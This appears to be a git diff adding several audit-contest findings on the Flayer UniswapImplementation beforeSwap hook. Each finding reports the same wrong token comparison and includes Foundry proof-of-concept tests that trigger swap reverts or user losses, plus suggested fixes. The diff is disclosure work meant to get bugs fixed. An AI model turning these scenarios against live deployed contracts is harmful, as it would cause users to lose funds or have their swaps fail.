+In case the orderbook logic is triggered, and the [swap is exact input](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L532-L534), all the pending Collection token fees is used to fulfill the swap (this swap is exact input, with eth as token in).
+At this logic to [compute swap amounts](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L535-L541), `pendingPoolFees.amount1` is used as argument for parameter `amountRemaining` input in the function `SwapMath.computeSwapStep()`. The returned `ethIn` is the needed eth token in that corresponds to the output Collection token `tokenOut`.
+At the next step, [the condition used](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L547-L555) to determine whether if pending pool fees can fulfill the swap is wrong in term of token side. At this execution logic, `params.amountSpecified` is negative, meaning that it refers to the exact input amount of ETH.
+When the condition [if (`tokenOut <= uint(-params.amountSpecified)`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L547C46-L547C61) satisfies only when ETH price lte than CT price and enough pending fees. In case ETH price is much more lower than CT price enough to satisfy `ethIn > abs(params.amountSpecified)` then `beforeSwapDelta_` returned to `PoolManager` will exceed swap amount, which means transaction reverts.
+In almost cases when ETH price is gte than CT price, the execution will go to branch `else`, which will not fulfill the internal orderbook, which means that the system misfunctions
+
+### PoC
+Update the test `test_CanSwapWithAmmBeneficiary_Unspecified` as below:
+```solidity
+function test_CanSwapWithAmmBeneficiary_Unspecified(bool _flipped) public withLiquidity withTokens {
+ uint24 _ammFee = 500;
+
+ // Set up a pool key
+ PoolKey memory poolKey = _poolKey(_flipped);
+ console.log(address(WETH));
+
+ // Set our AMM beneficiary details
+ uniswapImplementation.setAmmFee(_ammFee);
+ uniswapImplementation.setAmmBeneficiary(BENEFICIARY);
+
+ // Find the token that we will be checking against
+ CollectionToken token = _flipped ? flippedToken : unflippedToken;
+
+ int amountSpecified = -1 ether; // 1 ETH
+
+ // deposit fees to the contract
+ deal(address(WETH), address(this), 100 ether);
+ deal(address(token), address(this), 100 ether);
+
+ WETH.approve(address(uniswapImplementation), 100 ether);
+ token.approve(address(uniswapImplementation), 100 ether);
+
+ uniswapImplementation.depositFees(_flipped ? address(flippedErc) : address(unflippedErc), 0.1202 ether, 0.9 ether); // random amount of fees
+
+ // Action our swap, try to trigger internal orderbook
+ poolSwap.swap(
+ poolKey,
+ IPoolManager.SwapParams({
+ zeroForOne: _flipped ? false : true,
+ amountSpecified: amountSpecified,
+ sqrtPriceLimitX96: _flipped ? TickMath.MAX_SQRT_PRICE - 1 : TickMath.MIN_SQRT_PRICE + 1
+ }),
+ PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
+ ''
+ );
+ }
+```
+
+Run the test and the console shows:
+```bash
+Failing tests:
+Encountered 1 failing test in test/UniswapImplementation.t.sol:UniswapImplementationTest
+[FAIL. Reason: HookDeltaExceedsSwapAmount(); counterexample: calldata=0x6b9febc10000000000000000000000000000000000000000000000000000000000000000 args=[false]] test_CanSwapWithAmmBeneficiary_Unspecified(bool) (runs: 0, μ: 0, ~: 0)
+```
+
+## Impact
+- Swaps would be reverted
+- Internal orderbook does not work as expected
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L532-L534
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L535-L541
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L547-L555
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Update the condition to `if (ethIn <= uint(-params.amountSpecified)) `
\ No newline at end of file
diff --git a/010/385.md b/010/385.md
new file mode 100644
index 0000000..76c7612
--- /dev/null
+++ b/010/385.md
@@ -0,0 +1,203 @@
+Narrow Fiery Rabbit
+
+High
+
+# Invalid validation of the `UniswapImplementation::beforeSwap` hook when exact in swap
+
+## Lines of code
+
+
+## Vulnerability Detail
+### Description
+Flayer implements a novel internal swap mechanism that aims to prevent slippage within the pool whilst converting pool rewards from an unwanted token, the CollectionToken (CT), into a wanted token, an ETH equivalent token (EET) If the collection have any token1 fee tokens that can use to fill the swap before it hits the Uniswap pool.
+
+When exact in swap (L532 - 556), the internal swap will be fullfill the full amount of `pendingPoolFees.amount1`, If it cannot fulfill the full amount of the internal orderbook, it avoids using any of it.
+
+This functionality has a flaw in exact-input swaps where `tokenOut` (L535) equals to the `pendingPoolFees.amount1`. The validation (L547) fails because it compares `tokenOut`(the CollectionToken output amount) to `params.amountSpecified`(the ETH equivalent token input amount). Consequently, the internal swap isn't used, even though the `pendingPoolFees.amount1` could fulfill the swap without hitting the Uniswap pool.
+
+```solidity
+File: UniswapImplementation.sol
+490: function beforeSwap(address sender, PoolKey calldata key, IPoolManager.SwapParams memory params, bytes calldata hookData) public override onlyByPoolManager returns (bytes4 selector_, BeforeSwapDelta beforeSwapDelta_, uint24 swapFee_) {
+491: PoolId poolId = key.toId();
+492:
+493: // Ensure our dynamic fees are set to the correct amount and mark it with the override flag
+494: swapFee_ = getFee(poolId, sender) | LPFeeLibrary.OVERRIDE_FEE_FLAG;
+495:
+496: // Load our PoolFees as storage as we will manipulate them later if we trigger
+497: ClaimableFees storage pendingPoolFees = _poolFees[poolId];
+498: PoolParams memory poolParams = _poolParams[poolId];
+499:
+500: // We want to check if our token0 is the eth equivalent, or if it has swapped to token1
+501: bool trigger = poolParams.currencyFlipped ? !params.zeroForOne : params.zeroForOne;
+502: if (trigger && pendingPoolFees.amount1 != 0) {
+---
+513: if (params.amountSpecified >= 0) {
+514: uint amountSpecified = (uint(params.amountSpecified) > pendingPoolFees.amount1) ? pendingPoolFees.amount1 : uint(params.amountSpecified);
+515:
+516: // Capture the amount of desired token required at the current pool state to
+517: // purchase the amount of token speicified, capped by the pool fees available. We
+518: // don't apply a fee for this as it benefits the ecosystem and essentially performs
+519: // a free swap benefitting both parties.
+520: (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+521: sqrtPriceCurrentX96: sqrtPriceX96,
+522: sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+523: liquidity: poolManager.getLiquidity(poolId),
+524: amountRemaining: int(amountSpecified),
+525: feePips: 0
+526: });
+527:
+528: // Update our hook delta to reduce the upcoming swap amount to show that we have
+529: // already spent some of the ETH and received some of the underlying ERC20.
+530: beforeSwapDelta_ = toBeforeSwapDelta(-tokenOut.toInt128(), ethIn.toInt128());
+531: }
+532: // As we have a negative amountSpecified, this means that we are spending any amount
+533: // of token to get a specific amount of undesired token.
+534: else {
+535: (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+536: sqrtPriceCurrentX96: sqrtPriceX96,
+537: sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+538: liquidity: poolManager.getLiquidity(poolId),
+539: amountRemaining: int(pendingPoolFees.amount1),
+540: feePips: 0
+541: });
+542:
+543: // If we cannot fulfill the full amount of the internal orderbook, then we want
+544: // to avoid using any of it, as implementing proper support for exact input swaps
+545: // is significantly difficult when we want to restrict them by the output token
+546: // we have available.
+547: if (tokenOut <= uint(-params.amountSpecified)) {
+548: // Update our hook delta to reduce the upcoming swap amount to show that we have
+549: // already spent some of the ETH and received some of the underlying ERC20.
+550: // Specified = exact input (ETH)
+551: // Unspecified = token1
+552: beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+553: } else {
+554: ethIn = tokenOut = 0;
+555: }
+556: }
+---
+580: }
+
+```
+
+## Impact
+The internal swap isn't used, even though the `pendingPoolFees.amount1` could fulfill the swap without hitting the Uniswap pool which breaks the intended functionality for internal swap.
+
+## Proof of Concept
+### Coded proof of concept
+
+Toggle
+
+Add the following test inside `test/Locker.t.sol` and run with
+```bash
+forge test --match-path test/Locker.t.sol --match-test test_CanSwapWithIntermediaryToken1PoolFeeSwapExactInputWhenOutputEqToPoolFee
+```
+
+The test will fail because the event `BaseImplementation.PoolFeesSwapped` is not properly emitted with the internal swap amount, and the `fees.amount` after swap not be zero.
+
+```solidity
+ function test_CanSwapWithIntermediaryToken1PoolFeeSwapExactInputWhenOutputEqToPoolFee() public {
+ // Add liquidity to the pool to allow for swaps
+ _addLiquidityToPool(address(erc721b), 10 ether, int(10 ether), false);
+
+ // Reference our collection token
+ ICollectionToken token = locker.collectionToken(address(erc721b));
+
+ // Confirm our starting balance of the pool
+ uint poolStartEth = 12.071067811865475244 ether;
+ uint poolTokenStart = 24.142135623730950488 ether;
+ _assertNativeBalance(address(poolManager), poolStartEth, 'Invalid starting poolManager ETH balance');
+ assertEq(token.balanceOf(address(poolManager)), poolTokenStart, 'Invalid starting poolManager token balance');
+
+ // Add 2 tokens to the pool fees
+ deal(address(token), address(this), 2 ether);
+ token.approve(address(uniswapImplementation), 2 ether);
+ uniswapImplementation.depositFees(address(erc721b), 0, 2 ether);
+
+ // Confirm that the fees are ready
+ IBaseImplementation.ClaimableFees memory fees = uniswapImplementation.poolFees(address(erc721b));
+ assertEq(fees.amount0, 0, 'Incorrect starting pool ETH fees');
+ assertEq(fees.amount1, 2 ether, 'Incorrect starting pool token1 fees');
+
+ uint internalSwapEthInput = 1.090325523878396331 ether;
+ uint internalSwapTokenOutput = 2 ether;
+ // Get our user's starting balances
+ _dealExactNativeToken(address(this), internalSwapEthInput);
+ _approveNativeToken(address(this), address(poolSwap), type(uint).max);
+
+ _assertNativeBalance(address(this), internalSwapEthInput, 'Invalid starting user ETH balance');
+ assertEq(token.balanceOf(address(this)), 0, 'Invalid starting user token balance');
+
+ PoolKey memory poolKey = abi.decode(uniswapImplementation.getCollectionPoolKey(address(erc721b)), (PoolKey));
+
+ // Confirm that the pool fee tokens have been swapped to ETH
+ vm.expectEmit();
+ emit BaseImplementation.PoolFeesSwapped(0xa0Cb889707d426A7A386870A03bc70d1b0697598, false, internalSwapEthInput, internalSwapTokenOutput);
+
+ // Make a swap that spends 1.090325523878396331 ETH to acquire as much underlying token as possible
+ poolSwap.swap(
+ poolKey,
+ IPoolManager.SwapParams({
+ zeroForOne: _poolKeyZeroForOne(poolKey),
+ amountSpecified: -1.090325523878396331 ether,
+ sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
+ }),
+ PoolSwapTest.TestSettings({
+ takeClaims: false,
+ settleUsingBurn: false
+ }),
+ ''
+ );
+
+ // Confirm that the pool fee tokens are subsequently distributed
+ fees = uniswapImplementation.poolFees(address(erc721b));
+ assertEq(fees.amount0, 0, 'Incorrect closing pool ETH fees');
+ assertEq(fees.amount1, 0, 'Incorrect closing pool token1 fees');
+
+ // Determine the amount that Uniswap provides us for the remaining ETH amount
+ uint uniswapSwapTokenOutput = 0 ether;
+
+ // Confirm that the user has received their total expected tokens
+ _assertNativeBalance(address(this), 0, 'Invalid closing user ETH balance');
+ assertEq(token.balanceOf(address(this)), internalSwapTokenOutput + uniswapSwapTokenOutput, 'Invalid closing user token balance');
+
+ // Confirm that the pool has gained the expected 3 ETH and reduced the token holding
+ _assertNativeBalance(address(poolManager), poolStartEth + internalSwapEthInput, 'Invalid closing poolManager ETH balance');
+ assertEq(token.balanceOf(address(poolManager)), poolTokenStart - uniswapSwapTokenOutput, 'Invalid closing poolManager token balance');
+ }
+```
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Update the condition to `uint(-params.amountSpecified) >= ethIn`. This ensures that the `params.amountSpecified`(exact input) is higher than the `ethIn` required for `tokenOut`, allowing the use of `pendingPoolFees.amount1` for the internal swap.
+
+```diff
+ else {
+ (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(pendingPoolFees.amount1),
+ feePips: 0
+ });
+
+ // If we cannot fulfill the full amount of the internal orderbook, then we want
+ // to avoid using any of it, as implementing proper support for exact input swaps
+ // is significantly difficult when we want to restrict them by the output token
+ // we have available.
+- if (tokenOut <= uint(-params.amountSpecified)) {
++ if (uint(-params.amountSpecified) >= ethIn) {
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+ } else {
+ ethIn = tokenOut = 0;
+ }
+ }
+```
diff --git a/010/396.md b/010/396.md
new file mode 100644
index 0000000..9c73909
--- /dev/null
+++ b/010/396.md
@@ -0,0 +1,185 @@
+Narrow Fiery Rabbit
+
+High
+
+# Pool fee tokens have been partially touched when exact in swap with price limit
+
+## Lines of code
+
+
+## Vulnerability Detail
+### Description
+Flayer implements a novel internal swap mechanism that aims to prevent slippage within the pool whilst converting pool rewards from an unwanted token, the CollectionToken (CT), into a wanted token, an ETH equivalent token (EET) If the collection have any token1 fee tokens that can use to fill the swap before it hits the Uniswap pool.
+
+When exact in swap (L532 - 556), the internal swap will be fullfill the full amount of `pendingPoolFees.amount1`, If it cannot fulfill the full amount of the internal orderbook, it avoids using any of it.
+
+This functionality has a flaw in exact-input swaps where user place the limit price (L522), the returned `tokenOut` (L535) of the `SwapMath.computeSwapStep` calculation (L535 - 541) may less than the `pendingPoolFees.amount1`. Consequently, the internal swap may use partially `pendingPoolFees.amount1` to fulfill the swap.
+
+```solidity
+File: UniswapImplementation.sol
+490: function beforeSwap(address sender, PoolKey calldata key, IPoolManager.SwapParams memory params, bytes calldata hookData) public override onlyByPoolManager returns (bytes4 selector_, BeforeSwapDelta beforeSwapDelta_, uint24 swapFee_) {
+491: PoolId poolId = key.toId();
+492:
+493: // Ensure our dynamic fees are set to the correct amount and mark it with the override flag
+494: swapFee_ = getFee(poolId, sender) | LPFeeLibrary.OVERRIDE_FEE_FLAG;
+495:
+496: // Load our PoolFees as storage as we will manipulate them later if we trigger
+497: ClaimableFees storage pendingPoolFees = _poolFees[poolId];
+498: PoolParams memory poolParams = _poolParams[poolId];
+499:
+500: // We want to check if our token0 is the eth equivalent, or if it has swapped to token1
+501: bool trigger = poolParams.currencyFlipped ? !params.zeroForOne : params.zeroForOne;
+502: if (trigger && pendingPoolFees.amount1 != 0) {
+---
+513: if (params.amountSpecified >= 0) {
+514: uint amountSpecified = (uint(params.amountSpecified) > pendingPoolFees.amount1) ? pendingPoolFees.amount1 : uint(params.amountSpecified);
+515:
+516: // Capture the amount of desired token required at the current pool state to
+517: // purchase the amount of token speicified, capped by the pool fees available. We
+518: // don't apply a fee for this as it benefits the ecosystem and essentially performs
+519: // a free swap benefitting both parties.
+520: (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+521: sqrtPriceCurrentX96: sqrtPriceX96,
+522: sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+523: liquidity: poolManager.getLiquidity(poolId),
+524: amountRemaining: int(amountSpecified),
+525: feePips: 0
+526: });
+527:
+528: // Update our hook delta to reduce the upcoming swap amount to show that we have
+529: // already spent some of the ETH and received some of the underlying ERC20.
+530: beforeSwapDelta_ = toBeforeSwapDelta(-tokenOut.toInt128(), ethIn.toInt128());
+531: }
+532: // As we have a negative amountSpecified, this means that we are spending any amount
+533: // of token to get a specific amount of undesired token.
+534: else {
+535: (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+536: sqrtPriceCurrentX96: sqrtPriceX96,
+537: sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+538: liquidity: poolManager.getLiquidity(poolId),
+539: amountRemaining: int(pendingPoolFees.amount1),
+540: feePips: 0
+541: });
+542:
+543: // If we cannot fulfill the full amount of the internal orderbook, then we want
+544: // to avoid using any of it, as implementing proper support for exact input swaps
+545: // is significantly difficult when we want to restrict them by the output token
+546: // we have available.
+547: if (tokenOut <= uint(-params.amountSpecified)) {
+548: // Update our hook delta to reduce the upcoming swap amount to show that we have
+549: // already spent some of the ETH and received some of the underlying ERC20.
+550: // Specified = exact input (ETH)
+551: // Unspecified = token1
+552: beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+553: } else {
+554: ethIn = tokenOut = 0;
+555: }
+556: }
+---
+580: }
+
+```
+
+## Impact
+The `pendingPoolFees.amount1` will be partially used for internal swap which breaks the intended functionality for internal swap.
+
+## Proof of Concept
+### Coded proof of concept
+
+Toggle
+
+Add the following test inside `test/Locker.t.sol` and run with
+```bash
+forge test --match-path test/Locker.t.sol --match-test test_CannotPartiallySwapWithIntermediaryToken1PoolFeeSwapExactInputWithPriceLimit
+```
+
+The test will fail because the `fees.amount1` have been touched.
+
+```solidity
+ function test_CannotPartiallySwapWithIntermediaryToken1PoolFeeSwapExactInputWithPriceLimit() public {
+ // Reference our collection token
+ ICollectionToken token = locker.collectionToken(address(erc721b));
+
+ // Confirm our starting balance of the pool
+ uint poolStartEth = 5.000000000000000000 ether;
+ uint poolTokenStart = 10.000000000000000000 ether;
+ _assertNativeBalance(address(poolManager), poolStartEth, 'Invalid starting poolManager ETH balance');
+ assertEq(token.balanceOf(address(poolManager)), poolTokenStart, 'Invalid starting poolManager token balance');
+
+ // Add 4 tokens to the pool fees
+ deal(address(token), address(this), 4 ether);
+ token.approve(address(uniswapImplementation), 4 ether);
+ uniswapImplementation.depositFees(address(erc721b), 0, 4 ether);
+
+ // Confirm that the fees are ready
+ IBaseImplementation.ClaimableFees memory fees = uniswapImplementation.poolFees(address(erc721b));
+ assertEq(fees.amount0, 0, 'Incorrect starting pool ETH fees');
+ assertEq(fees.amount1, 4 ether, 'Incorrect starting pool token1 fees');
+
+ // Get our user's starting balances
+ _dealExactNativeToken(address(this), 3 ether);
+ _approveNativeToken(address(this), address(poolSwap), type(uint).max);
+
+ _assertNativeBalance(address(this), 3 ether, 'Invalid starting user ETH balance');
+ assertEq(token.balanceOf(address(this)), 0, 'Invalid starting user token balance');
+
+ PoolKey memory poolKey = abi.decode(uniswapImplementation.getCollectionPoolKey(address(erc721b)), (PoolKey));
+
+ // Make a swap that spends 3 ETH with limit price to acquire as much underlying token as possible
+ poolSwap.swap(
+ poolKey,
+ IPoolManager.SwapParams({
+ zeroForOne: _poolKeyZeroForOne(poolKey),
+ amountSpecified: -3 ether,
+ sqrtPriceLimitX96: SQRT_PRICE_1_2 + (SQRT_PRICE_1_2 / 3) // limit at 74697027966381519891642584302
+ }),
+ PoolSwapTest.TestSettings({
+ takeClaims: false,
+ settleUsingBurn: false
+ }),
+ ''
+ );
+
+ // Confirm that the pool fee tokens have not been touched
+ fees = uniswapImplementation.poolFees(address(erc721b));
+ assertEq(fees.amount0, 0, 'Incorrect closing pool ETH fees');
+ assertEq(fees.amount1, 4 ether, 'Incorrect closing pool token1 fees');
+ }
+```
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Update the condition to `tokenOut == pendingPoolFees.amount1 && uint(-params.amountSpecified) >= ethIn`. This change:
+1. Ensures that the `tokenOut` equal to the `pendingPoolFees.amount1` which prevent partially use.
+2. Ensures that the `params.amountSpecified`(exact input) is higher than the `ethIn` required for `tokenOut`, allowing the use of `pendingPoolFees.amount1` for the internal swap.
+
+```diff
+ else {
+ (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(pendingPoolFees.amount1),
+ feePips: 0
+ });
+
+ // If we cannot fulfill the full amount of the internal orderbook, then we want
+ // to avoid using any of it, as implementing proper support for exact input swaps
+ // is significantly difficult when we want to restrict them by the output token
+ // we have available.
+- if (tokenOut <= uint(-params.amountSpecified)) {
++ if (tokenOut == pendingPoolFees.amount1 && uint(-params.amountSpecified) >= ethIn) {
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+ } else {
+ ethIn = tokenOut = 0;
+ }
+ }
+```
diff --git a/010/517.md b/010/517.md
new file mode 100644
index 0000000..778901d
--- /dev/null
+++ b/010/517.md
@@ -0,0 +1,179 @@
+Large Mauve Parrot
+
+Medium
+
+# `UniswapImplementation::beforeSwap()` might revert when swapping native tokens to collection tokens
+
+### Summary
+
+[UniswapImplementation::beforeSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L547) performs a wrong check which can lead to swaps from native tokens to collection tokens reverting.
+
+### Root Cause
+
+[UniswapImplementation::beforeSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L547) swaps the internally accumulated collection token fees into native tokens when:
+
+1. The hook accumulated at least `1` wei of fees in collection tokens
+2. An user is swapping native tokens for collection tokens
+
+When the swap is performed by specifing the exact amount of native tokens to pay (ie. `amountSpecified < 0`) the protocol should allow the internal swap only when the amount of native tokens being paid is enough to convert all of the accumulated collection token fees. The protocol however does this incorrectly, as the code checks the `amountSpecified` against `tokenOut` instead of `ethIn`:
+
+```solidity
+if (params.amountSpecified >= 0) {
+ ...
+else {
+ (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(pendingPoolFees.amount1),
+ feePips: 0
+ });
+
+@> if (tokenOut <= uint(-params.amountSpecified)) {
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+ } else {
+ ethIn = tokenOut = 0;
+ }
+}
+```
+
+This results in the [UniswapImplementation::beforeSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L490) reverting in the situations explained in internal pre-conditions below.
+
+### Internal pre-conditions
+
+1. User is swapping native tokens for collection tokens
+2. The hook accumulated at least `1` wei of collection tokens in fees
+3. `tokenOut` is lower than `uint(-params.amountSpecified)` and `ethIn` is bigger than `uint(-params.amountSpecified)`
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+All swaps that follow the internal pre-conditions will revert.
+
+### PoC
+
+To copy-paste in `UniswapImplementation.t.sol`:
+```solidity
+function test_swapFails() public {
+ address alice = makeAddr("alice");
+ address bob = makeAddr("bob");
+
+ ERC721Mock erc721 = new ERC721Mock();
+ CollectionToken ctoken = CollectionToken(locker.createCollection(address(erc721), 'ERC721', 'ERC', 0));
+
+
+
+
+ //### APPROVALS
+ //-> Alice approvals
+ vm.startPrank(alice);
+ erc721.setApprovalForAll(address(locker), true);
+ ctoken.approve(address(poolSwap), type(uint256).max);
+ ctoken.approve(address(uniswapImplementation), type(uint256).max);
+ vm.stopPrank();
+ _approveNativeToken(alice, address(locker), type(uint).max);
+ _approveNativeToken(alice, address(poolManager), type(uint).max);
+ _approveNativeToken(alice, address(poolSwap), type(uint).max);
+
+ //-> Bob approvals
+ vm.startPrank(bob);
+ erc721.setApprovalForAll(address(locker), true);
+ ctoken.approve(address(uniswapImplementation), type(uint256).max);
+ ctoken.approve(address(poolSwap), type(uint256).max);
+ vm.stopPrank();
+ _approveNativeToken(bob, address(locker), type(uint).max);
+ _approveNativeToken(bob, address(poolManager), type(uint).max);
+ _approveNativeToken(bob, address(poolSwap), type(uint).max);
+
+ // uniswapImplementation.setAmmFee(1000);
+ // uniswapImplementation.setAmmBeneficiary(BENEFICIARY);
+
+
+
+ //### MINT NFTs
+ //-> Mint 10 tokens to Alice
+ uint[] memory _tokenIds = new uint[](10);
+ for (uint i; i < 10; ++i) {
+ erc721.mint(alice, i);
+ _tokenIds[i] = i;
+ }
+
+ //-> Mint an extra token to Alice
+ uint[] memory _tokenIdToDepositAlice = new uint[](1);
+ erc721.mint(alice, 10);
+ _tokenIdToDepositAlice[0] = 10;
+
+
+ //### [ALICE] COLLECTION INITIALIZATION + LIQUIDITY PROVISION
+ //-> alice initializes a collection and adds liquidity: 1e19 NATIVE + 1e19 CTOKEN
+ uint256 initialNativeLiquidity = 1e19;
+ _dealNativeToken(alice, initialNativeLiquidity);
+ vm.startPrank(alice);
+ locker.initializeCollection(address(erc721), initialNativeLiquidity, _tokenIds, 0, SQRT_PRICE_1_1);
+ vm.stopPrank();
+
+
+
+ //### [ALICE] ADDING CTOKEN FEES TO HOOK
+ //-> alice deposits an NFT to get 1e18 CTOKEN and then deposits 1e18 CTOKENS as fees in the UniswapImplementation hook
+ vm.startPrank(alice);
+ locker.deposit(address(erc721), _tokenIdToDepositAlice, alice);
+ uniswapImplementation.depositFees(address(erc721), 0, 1e18);
+ vm.stopPrank();
+
+
+
+ //### [BOB] SWAP FAILS
+ _dealNativeToken(bob, 1e18);
+
+ //-> bob swaps `1e18` NATIVE tokens for CTOKENS but the swap fails
+ vm.startPrank(bob);
+ poolSwap.swap(
+ PoolKey({
+ currency0: Currency.wrap(address(ctoken)),
+ currency1: Currency.wrap(address(WETH)),
+ fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
+ tickSpacing: 60,
+ hooks: IHooks(address(uniswapImplementation))
+ }),
+ IPoolManager.SwapParams({
+ zeroForOne: false,
+ amountSpecified: -int(1e18),
+ sqrtPriceLimitX96: (TickMath.MAX_SQRT_PRICE - 1)
+ }),
+ PoolSwapTest.TestSettings({
+ takeClaims: false,
+ settleUsingBurn: false
+ }),
+ ''
+ );
+}
+```
+
+
+### Mitigation
+
+In [UniswapImplementation::beforeSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L547) check against `ethIn` instead of `tokenOut`:
+
+```solidity
+@> if (ethIn <= uint(-params.amountSpecified)) {
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+ } else {
+ ethIn = tokenOut = 0;
+ }
+```
\ No newline at end of file
diff --git a/010/556.md b/010/556.md
new file mode 100644
index 0000000..42f2d8d
--- /dev/null
+++ b/010/556.md
@@ -0,0 +1,58 @@
+Rough Azure Scallop
+
+High
+
+# Incorrect Token Comparison in beforeSwap
+
+### Summary
+
+In the UniswapImplementation contract, an invalid comparison in the `beforeSwap` function leads to users potentially receiving significantly fewer NFT Tokens than expected when swapping Native Tokens (e.g., ETH) for NFT Tokens.
+
+### Root Cause
+
+In `UniswapImplementation.sol`, the `beforeSwap` function incorrectly compares the output NFT Token amount (`tokenOut`) with the input Native Token amount (`params.amountSpecified`) when `amountSpecified < 0`. This comparison should be between amounts of the same native token type.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L547
+```solidity
+ if (tokenOut <= uint(-params.amountSpecified)) {
+```
+
+### Internal pre-conditions
+
+1. UniswapImplementation contract has accumulated NFT Tokens as pending pool fees.
+
+### External pre-conditions
+
+1. The contract is processing a swap from Native Token (e.g., ETH) to NFT Token.
+
+### Attack Path
+
+1. **Contract accumulates NFT Tokens as pending pool fees (e.g., 0.01 NFT Tokens)**
+2. **User initiates a swap of Native Token (e.g., 1 ETH) for NFT Tokens**
+3. **`beforeSwap` function is called with `params.amountSpecified < 0`**
+4. **The function incorrectly compares `tokenOut` (0.01 NFT Tokens) with `params.amountSpecified` (1 ETH)**
+5. **The condition is satisfied due to the incorrect comparison (0.01 <= 1)**
+6. **User receives only the accumulated NFT Tokens (0.01) instead of the expected amount (0.1)**
+
+### Impact
+
+Potential financial losses for users, unintended accumulation of Native Tokens in the UniswapImplementation contract, or unexpected reverts of swap transactions.
+
+### PoC
+
+Scenario:
+* 1 ETH (1e18 wei) is worth ~$2500, 1 NFT Token is worth $25000 (or 0.1 ETH)
+* Contract has accumulated 0.01 NFT Tokens in pendingPoolFees
+* User wants to buy NFT Tokens with 1 ETH
+* `computeSwapStep()` returns `ethIn = 0.1 ETH` and `tokenOut = 0.01 NFT Tokens`
+* Incorrect comparison (0.01 NFT Tokens <= 1 ETH) is true
+* User spends 1 ETH and gets only 0.01 NFT Tokens instead of the expected 0.1 NFT Tokens
+* In this example user loses approximately 90% of the transaction value
+
+### Mitigation
+
+Update the comparison in the `beforeSwap` function to compare the same token types:
+
+```solidity
+if (ethIn <= uint(-params.amountSpecified)) {
+```
\ No newline at end of file
diff --git a/010/571.md b/010/571.md
new file mode 100644
index 0000000..6be7dc0
--- /dev/null
+++ b/010/571.md
@@ -0,0 +1,87 @@
+Sharp Blonde Camel
+
+Medium
+
+# DoS on swaps from native token to collateral token
+
+### Summary
+
+Due to the invalid check of the amount to be swapped, the swaps from **native token** to **collateral token** revert when the fees value in collateral token (kept in the hooks) is greater then the swapped amount of native token.
+
+
+### Root Cause
+
